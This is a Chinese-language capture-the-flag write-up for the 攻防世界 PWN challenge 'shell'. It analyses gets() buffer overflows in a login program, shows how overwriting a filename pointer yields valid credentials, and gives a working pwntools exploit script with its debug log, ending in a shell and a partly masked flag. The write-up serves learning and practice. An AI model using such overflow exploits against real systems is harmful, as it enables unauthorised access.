攻防世界-PWN-shell
检查保护机制
healer@healer-virtual-machine:~/Desktop/shell$ checksec shell
[*] '/home/healer/Desktop/shell/shell'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
healer@healer-virtual-machine:~/Desktop/shell$ readelf -h shell
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x4007f0
Start of program headers: 64 (bytes into file)
Start of section headers: 8808 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 8
Size of section headers: 64 (bytes)
Number of section headers: 29
Section header string table index: 26
漏洞分析
分析主函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
__int64 v4; // [rsp+0h] [rbp-F0h]
__int64 v5; // [rsp+8h] [rbp-E8h]
__int64 v6; // [rsp+10h] [rbp-E0h]
__int64 v7; // [rsp+18h] [rbp-D8h]
__int64 v8; // [rsp+30h] [rbp-C0h]
const char *v9; // [rsp+38h] [rbp-B8h]
const char *s2; // [rsp+40h] [rbp-B0h]
size_t n; // [rsp+48h] [rbp-A8h]
__ssize_t v12; // [rsp+50h] [rbp-A0h]
char *lineptr; // [rsp+58h] [rbp-98h]
FILE *stream; // [rsp+60h] [rbp-90h]
char v15; // [rsp+6Fh] [rbp-81h]
int v16; // [rsp+70h] [rbp-80h]
int v17; // [rsp+74h] [rbp-7Ch]
int v18; // [rsp+94h] [rbp-5Ch]
int v19; // [rsp+B4h] [rbp-3Ch]
char *filename; // [rsp+D8h] [rbp-18h]
const char **v21; // [rsp+E0h] [rbp-10h]
int v22; // [rsp+E8h] [rbp-8h]
int v23; // [rsp+ECh] [rbp-4h]
v23 = 0;
v22 = argc;
v21 = argv;
filename = "creds.txt";
v16 = 0;
v15 = '$';
setvbuf(_bss_start, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
printf("%c ", (unsigned int)v15, v4, v5, v6, v7);
gets(&v19); // 存在溢出漏洞
if ( !strcmp((const char *)&v19, "login") )
break;
v8 = command_get(&v19, "login");
if ( v8 )
{
if ( *(_DWORD *)(v8 + 16) != 1 || v16 == 1 )
(*(void (__fastcall **)(int *))(v8 + 8))(&v19);
// 认证成功之后此处通过可运行的命令表,跳转执行对应的函数,调用对应的系统命令,v16为是否获得登陆后的权限,只有v16 == 1时,才是获得了权限
else
HIDWORD(v4) = puts("Permission denied");
}
else
{
LODWORD(v4) = puts("Command not found");
}
}
printf("Username: ", "login");
HIDWORD(v7) = gets(&v17); // 存在溢出漏洞
LODWORD(v7) = printf("Password: ");
HIDWORD(v6) = gets(&v18); // 存在溢出漏洞
stream = fopen(filename, "r");
for ( lineptr = 0LL; ; lineptr = 0LL )
{
n = 0LL;
v12 = getline(&lineptr, &n, stream);
if ( v12 < 0 )
{
free(lineptr);
goto LABEL_12;
}
lineptr[v12 - 1] = 0;
s2 = strtok(lineptr, ":");
v9 = strtok(0LL, ":");
if ( s2 )
{
if ( v9 && !strcmp((const char *)&v17, s2) && !strcmp((const char *)&v18, v9) )
break;
}
free(lineptr);
}
v3 = puts("Authenticated!");
v15 = '#';
v16 = 1;
LODWORD(v6) = v3;
LABEL_12:
if ( v16 != 1 )
HIDWORD(v5) = puts("Authentication failed!");
LODWORD(v5) = fclose(stream);
}
}
分析数据获得命令表
.data:00000000006014E0 public commands
.data:00000000006014E0 commands dq offset command ; DATA XREF: help+8↑o
.data:00000000006014E0 ; command_get+8↑o
.data:00000000006014E0 ; "sh"
.data:00000000006014E8 dq offset sh
.data:00000000006014F0 dq 1
.data:00000000006014F8 dq offset aWhoami ; "whoami"
.data:0000000000601500 dq offset whoami
.data:0000000000601508 dq 0
.data:0000000000601510 dq offset aDate ; "date"
.data:0000000000601518 dq offset date
.data:0000000000601520 dq 0
.data:0000000000601528 dq offset aExit_0 ; "exit"
.data:0000000000601530 dq offset exit_
.data:0000000000601538 dq 0
.data:0000000000601540 dq offset aLs ; "ls"
.data:0000000000601548 dq offset ls
.data:0000000000601550 dq 0
.data:0000000000601558 dq offset aHelp ; "help"
.data:0000000000601560 dq offset help
.data:0000000000601568 dq 0
.data:0000000000601570 dq offset aHlep ; "hlep"
.data:0000000000601578 dq offset help
.data:0000000000601580 dq 0
.data:0000000000601588 dq 0
.data:0000000000601590 dq 0
.data:0000000000601598 dq 0
.data:0000000000601598 _data ends
通过调试发现程序的功能类似下面的这个过程,远程服务器上存储着一个名为creds.txt
的文件,文件中记录有用户名和密码,一行是一组用户名和密码,组织方式为healer:12345
类似这种的用:
将其分割,如果能够登录成功的话就可以通过执行sh
命令获得由权限的shell
,并通过cat flag
命令获取到flag
,所以现在问题集中在如何取得creds.txt
文件中的正确的 用户名和密码
healer@healer-virtual-machine:~/Desktop/shell$ ./shell
$ login
Username: healer
Password: 12345
Authenticated!
# ls
creds.txt flag ld-linux-x86-64.so.2 shell
# cat flag
Command not found
# help
sh whoami date exit ls help hlep login
# whoami
healer
# date
Sun May 29 11:39:20 CST 2022
# hlep
sh whoami date exit ls help hlep login
# help
sh whoami date exit ls help hlep login
# sh
$ cat flag
flag{Congratulations!!!}
总结
主函数中的所有输入全部是使用gets()
函数,明显存在缓冲区溢出漏洞,并且filename
文件名指针在栈空间的位置是在输入密码的位置后面,这样的话就意味着可以覆盖文件名,打开任意文件,由于随题目的另一个文件ld-linux-x86-64.so.2
是给出的,所以我们可以在此文件中找到类似用户名密码的结构,然后通过IDA静态分析,发现好几个符合特征的字符串,如下:
.rodata:000000000001C98A aCallingInitS db 0Ah ; DATA XREF: sub_10070:loc_10152↑o
.rodata:000000000001C98A db 'calling init: %s',0Ah
故,用户名为:calling init
,密码为 %s
注意前面有个空格,
攻击脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']
io = remote("111.200.241.244",65199) # 111.200.241.244:57735
# io = process("./shell")
elf = ELF("./shell")
# libc = ELF("./")
# context(arch = "i386", os = 'linux')
# gdb.attach(io,"b * 0x400c4e\nb * 0x400c7d")
ld_filename = 0x400200
def main():
io.recvuntil("$ ")
io.sendline("login")
io.recvuntil("Username: ")
io.sendline("healer")
io.recvuntil("Password: ")
payload = b"a"*0x44 + p64(ld_filename)
io.sendline(payload)
io.recvuntil("$ ")
io.sendline("login")
io.recvuntil("Username: ")
io.sendline("calling init")
io.recvuntil("Password: ")
io.sendline(" %s")
io.sendline("sh")
io.sendline("cat flag")
io.interactive()
if __name__ == '__main__':
main()
远程攻击效果
healer@healer-virtual-machine:~/Desktop/shell$ python3 exp.py
[+] Opening connection to 111.200.241.244 on port 65199: Done
[DEBUG] PLT 0x400700 free
[DEBUG] PLT 0x400710 puts
[DEBUG] PLT 0x400720 fclose
[DEBUG] PLT 0x400730 __stack_chk_fail
[DEBUG] PLT 0x400740 system
[DEBUG] PLT 0x400750 printf
[DEBUG] PLT 0x400760 __libc_start_main
[DEBUG] PLT 0x400770 strcmp
[DEBUG] PLT 0x400780 __gmon_start__
[DEBUG] PLT 0x400790 gets
[DEBUG] PLT 0x4007a0 setvbuf
[DEBUG] PLT 0x4007b0 fopen
[DEBUG] PLT 0x4007c0 strtok
[DEBUG] PLT 0x4007d0 getline
[DEBUG] PLT 0x4007e0 exit
[*] '/home/healer/Desktop/shell/shell'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] Received 0x2 bytes:
b'$ '
[DEBUG] Sent 0x6 bytes:
b'login\n'
[DEBUG] Received 0xa bytes:
b'Username: '
[DEBUG] Sent 0x7 bytes:
b'healer\n'
[DEBUG] Received 0xa bytes:
b'Password: '
[DEBUG] Sent 0x4d bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 61 61 61 61 00 02 40 00 00 00 00 00 0a │aaaa│··@·│····│·│
0000004d
[DEBUG] Received 0x16 bytes:
b'Authentication failed!'
[DEBUG] Received 0x3 bytes:
b'\n'
b'$ '
[DEBUG] Sent 0x6 bytes:
b'login\n'
[DEBUG] Received 0xa bytes:
b'Username: '
[DEBUG] Sent 0xd bytes:
b'calling init\n'
[DEBUG] Received 0xa bytes:
b'Password: '
[DEBUG] Sent 0x4 bytes:
b' %s\n'
[DEBUG] Sent 0x3 bytes:
b'sh\n'
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[*] Switching to interactive mode
[DEBUG] Received 0xe bytes:
b'Authenticated!'
Authenticated![DEBUG] Received 0x3 bytes:
b'\n'
b'# '
# $
[DEBUG] Sent 0x1 bytes:
10 * 0x1
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x23 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'shell\n'
bin
dev
flag
lib
lib32
lib64
shell
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{e89e7e**********************9c9df7c66b72}\n'
cyberpeace{e89e7e**********************9c9df7c66b72}